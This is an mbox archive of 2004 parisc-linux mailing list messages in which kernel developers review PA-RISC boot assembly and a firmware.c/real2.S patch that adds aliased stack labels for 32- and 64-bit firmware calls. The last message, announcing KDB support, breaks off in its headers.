Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29026-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 Aug 2004 20:03:49 -0600 (MDT)
Original-Received: from stout.engsoc.org (stout.engsoc.carleton.ca [134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id E76153BE12
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Aug 2004 20:03:48 -0600 (MDT)
Original-Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca
	[134.117.69.26])
	by stout.engsoc.org (8.12.3/8.12.3/Debian-6.6) with ESMTP id
	i7623uLF009521 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 Aug 2004 22:03:56 -0400
Original-Received: from kyle by lager.engsoc.carleton.ca with local (Exim 3.36 #1
	(Debian)) id 1Bsu2v-0005Xt-00
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 05 Aug 2004 22:01:25 -0400
Content-Disposition: inline
In-Reply-To: <20040806015554.GA5319@leibniz.int.mcmartin.ca>
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21848

On Thu, Aug 05, 2004 at 09:55:54PM -0400, Kyle McMartin wrote:
>  	/* Load the return address...er...crash 'n burn */
>  	copy		%r0,%r2
>
	This tested fine both 32-bit and 64-bit SMP, so I un-#ifdef'd
	it.

> +#ifdef __LP64__
> +	load32          PA(init_thread_union+THREAD_SZ_ALGN),%sp
> +#else
>  	ldo             THREAD_SZ_ALGN(%r6),%sp
> +#endif
>

	Using the 64-bit load32 caused a corruption of the C3000 LCD and
	seemed to hang the box, didn't want to tempt fate.

> +#ifdef __LP64__
> +	/* Prepare to RFI! Man all the cannons! */
> +	tovirt_r1       %sp
> +#endif
> +	

	I'm not sure why we use tovirt/tophys on 64-bit, but not
	32-bit. Could somebody enlighten me?

> +#ifdef __LP64__
> +	.align          256
> +aligned_rfi:
> +	ssm             0,0
> +	nop             /* 1 */
> +	nop             /* 2 */
> +	nop             /* 3 */
> +	nop             /* 4 */
> +	nop             /* 5 */
> +	nop             /* 6 */
> +	nop             /* 7 */
> +	nop             /* 8 */
> +#endif
> +

	This caused 32-bit to HPMC. Figured I best leave well enough
	alone.

> +$rfi:	

	Oops. Was going to branch past the aligned_rfi...
	
> +#ifdef __LP64__
> +	tophys_r1       %sp
> +#endif
>  

	Ditto.

Regards,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Reorder compat structure placement and
	casting (firmware.c)?
Date: Thu, 5 Aug 2004 22:28:30 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20040806022830.GB2672@baldric.uwo.ca>
References: <20040801045032.GE31520@baldric.uwo.ca>
	<20040802052751.GD20904@colo.lackof.org>
	<20040805040600.GA21912@baldric.uwo.ca>
	<20040805205937.GB20367@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623513 10325 80.91.229.3 (22 Nov 2014 02:31:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19709 invoked by uid 65534); 6 Aug 2004 02:29:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 06 Aug 2004 04:29:13 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4707B3BE3F; Thu,  5 Aug 2004 20:28:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29999-09; Thu, 5 Aug 2004 20:28:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8791D3BE32; Thu,  5 Aug 2004 20:28:41 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A2C23BE2E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Aug 2004 20:28:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29999-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 Aug 2004 20:28:34 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 0FDE43BE21
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Aug 2004 20:28:34 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1BsuT9-0003Eo-00; Thu, 05 Aug 2004 22:28:31 -0400
Content-Disposition: inline
In-Reply-To: <20040805205937.GB20367@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (14% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21849

On Thu, Aug 05, 2004 at 02:59:37PM -0600, Grant Grundler wrote:
> We don't need the same variable name. The two code paths could use different
> labels which point at the same storage. And both could co-exist in
> the wide kernel.

So you just want:


label32:
label64:
        block 8192

In the assembly and then let the C code do whatever it pleases? :)

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Reorder compat structure placement and
	casting (firmware.c)?
Date: Thu, 5 Aug 2004 23:51:28 -0400
Lines: 98
Approved: news@gmane.org
Message-ID: <20040806035128.GE2672@baldric.uwo.ca>
References: <20040801045032.GE31520@baldric.uwo.ca>
	<20040802052751.GD20904@colo.lackof.org>
	<20040805040600.GA21912@baldric.uwo.ca>
	<20040805205937.GB20367@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623513 10330 80.91.229.3 (22 Nov 2014 02:31:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 20454 invoked by uid 65534); 6 Aug 2004 03:51:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 06 Aug 2004 05:51:59 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E01423BEA1; Thu,  5 Aug 2004 21:51:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31117-03; Thu, 5 Aug 2004 21:51:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7787F3BE3F; Thu,  5 Aug 2004 21:51:37 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D148E3BE33
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Aug 2004 21:51:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30252-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 Aug 2004 21:51:32 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 73EA63BE21
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Aug 2004 21:51:32 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1BsvlR-0003Xo-00; Thu, 05 Aug 2004 23:51:29 -0400
Content-Disposition: inline
In-Reply-To: <20040805205937.GB20367@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (14% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21850

> Because a wide kernel can make narrow PDC calls.  (eg C360).
> narrow_stack has to be available regardless which
> way we compile the kernel.

I don't exclude making narrow calls from a wide kernel.
How about something like this? It's actually cleaner to add more
assembly labels.

Index: firmware.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/firmware.c,v
retrieving revision 1.10
diff -u -p -r1.10 firmware.c
--- firmware.c	10 Jul 2004 21:20:47 -0000	1.10
+++ firmware.c	6 Aug 2004 03:49:32 -0000
@@ -237,11 +237,11 @@ int __init pdc_chassis_info(struct pdc_c
 #ifdef __LP64__
 int pdc_pat_chassis_send_log(unsigned long state, unsigned long data)
 {
+	int retval = 0;
+        
 	if (!is_pdc_pat())
 		return -1;
 
-	int retval = 0;
-
 	spin_lock_irq(&pdc_lock);
 	retval = mem_pdc_call(PDC_PAT_CHASSIS_LOG, PDC_PAT_CHASSIS_WRITE_LOG, __pa(&state), __pa(&data));
 	spin_unlock_irq(&pdc_lock);
@@ -1225,29 +1225,30 @@ struct narrow_stack {
 long real32_call(unsigned long fn, ...)
 {
 	va_list args;
-	extern struct narrow_stack real_stack;
+	extern struct narrow_stack real32_stack;
+        
 	extern unsigned long real32_call_asm(unsigned int *,
 					     unsigned int *, 
 					     unsigned int);
 	
 	va_start(args, fn);
-	real_stack.arg0 = va_arg(args, unsigned int);
-	real_stack.arg1 = va_arg(args, unsigned int);
-	real_stack.arg2 = va_arg(args, unsigned int);
-	real_stack.arg3 = va_arg(args, unsigned int);
-	real_stack.arg4 = va_arg(args, unsigned int);
-	real_stack.arg5 = va_arg(args, unsigned int);
-	real_stack.arg6 = va_arg(args, unsigned int);
-	real_stack.arg7 = va_arg(args, unsigned int);
-	real_stack.arg8 = va_arg(args, unsigned int);
-	real_stack.arg9 = va_arg(args, unsigned int);
-	real_stack.arg10 = va_arg(args, unsigned int);
-	real_stack.arg11 = va_arg(args, unsigned int);
-	real_stack.arg12 = va_arg(args, unsigned int);
-	real_stack.arg13 = va_arg(args, unsigned int);
+	real32_stack.arg0 = va_arg(args, unsigned int);
+	real32_stack.arg1 = va_arg(args, unsigned int);
+	real32_stack.arg2 = va_arg(args, unsigned int);
+	real32_stack.arg3 = va_arg(args, unsigned int);
+	real32_stack.arg4 = va_arg(args, unsigned int);
+	real32_stack.arg5 = va_arg(args, unsigned int);
+	real32_stack.arg6 = va_arg(args, unsigned int);
+	real32_stack.arg7 = va_arg(args, unsigned int);
+	real32_stack.arg8 = va_arg(args, unsigned int);
+	real32_stack.arg9 = va_arg(args, unsigned int);
+	real32_stack.arg10 = va_arg(args, unsigned int);
+	real32_stack.arg11 = va_arg(args, unsigned int);
+	real32_stack.arg12 = va_arg(args, unsigned int);
+	real32_stack.arg13 = va_arg(args, unsigned int);
 	va_end(args);
 	
-	return real32_call_asm(&real_stack.sp, &real_stack.arg0, fn);
+	return real32_call_asm(&real32_stack.sp, &real32_stack.arg0, fn);
 }
 
 #ifdef __LP64__
Index: real2.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/real2.S,v
retrieving revision 1.13
diff -u -p -r1.13 real2.S
--- real2.S	15 Mar 2004 20:08:51 -0000	1.13
+++ real2.S	6 Aug 2004 03:49:32 -0000
@@ -14,6 +14,8 @@
 	.export real_stack
 	.align	64
 real_stack:
+real32_stack:
+real64_stack:
 	.block	8192
 
 #ifdef __LP64__
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Reorder compat structure placement and
	casting (firmware.c)?
Date: Thu, 5 Aug 2004 22:33:33 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <20040806043333.GG20367@colo.lackof.org>
References: <20040801045032.GE31520@baldric.uwo.ca>
	<20040802052751.GD20904@colo.lackof.org>
	<20040805040600.GA21912@baldric.uwo.ca>
	<20040805205937.GB20367@colo.lackof.org>
	<20040806035128.GE2672@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623514 10332 80.91.229.3 (22 Nov 2014 02:31:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5361 invoked by uid 65534); 6 Aug 2004 04:33:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx046) with SMTP; 06 Aug 2004 06:33:57 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E5D343BEA2; Thu,  5 Aug 2004 22:33:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31251-07; Thu, 5 Aug 2004 22:33:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AA4603BE3B; Thu,  5 Aug 2004 22:33:41 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 71A2B3BE30
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Aug 2004 22:33:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 31251-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 Aug 2004 22:33:35 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 405113BDF6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Aug 2004 22:33:35 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 59A21298054; Thu,  5 Aug 2004 22:33:34 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27512-01; Thu, 5 Aug 2004 22:33:33 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B2E9529804B; Thu,  5 Aug 2004 22:33:33 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040806035128.GE2672@baldric.uwo.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21851

On Thu, Aug 05, 2004 at 11:51:28PM -0400, Carlos O'Donell wrote:
> I don't exclude making narrow calls from a wide kernel.

ok

> How about something like this? It's actually cleaner to add more
> assembly labels.

Yes - that's basically what I initially had hacked up but
didn't test since I saw you had an alternative posted already.

The only possible problem with multiple labels is gcc won't know
the two labels are aliases. See my previous posting
on this thread. But I don't know if it's really a problem at all
or just an overly active imagination.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Reorder compat structure placement and
Date: Fri, 6 Aug 2004 14:20:38 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200408061820.i76IKcOs011916@hiauly1.hia.nrc.ca>
References: <20040806043333.GG20367@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623514 10334 80.91.229.3 (22 Nov 2014 02:31:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 859 invoked by uid 65534); 6 Aug 2004 18:21:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx018) with SMTP; 06 Aug 2004 20:21:52 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1AC343BE45; Fri,  6 Aug 2004 12:21:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05858-04; Fri, 6 Aug 2004 12:21:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 892A43BE2A; Fri,  6 Aug 2004 12:20:50 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A8FC53BE25
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Aug 2004 12:20:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05858-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 6 Aug 2004 12:20:42 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 01D1B3BDF6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Aug 2004 12:20:41 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i76IKdCp011917; Fri, 6 Aug 2004 14:20:39 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i76IKcOs011916;
	Fri, 6 Aug 2004 14:20:38 -0400 (EDT)
In-Reply-To: <20040806043333.GG20367@colo.lackof.org> from "Grant Grundler" at
	Aug 5, 2004 10:33:33 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21852

> The only possible problem with multiple labels is gcc won't know
> the two labels are aliases. See my previous posting
> on this thread. But I don't know if it's really a problem at all
> or just an overly active imagination.

You might look at using gcc alias attribute.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] KDB v4.4 support for parisc-linux
Date: Fri, 6 Aug 2004 15:00:54 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20040806220054.GB546@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623514 10337 80.91.229.3 (22 Nov 2014 02:31:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31607 invoked by uid 65534); 6 Aug 2004 22:01:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 07 Aug 2004 00:01:59 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 885333BE21; Fri,  6 Aug 2004 16:01:54 -0600 (MDT)
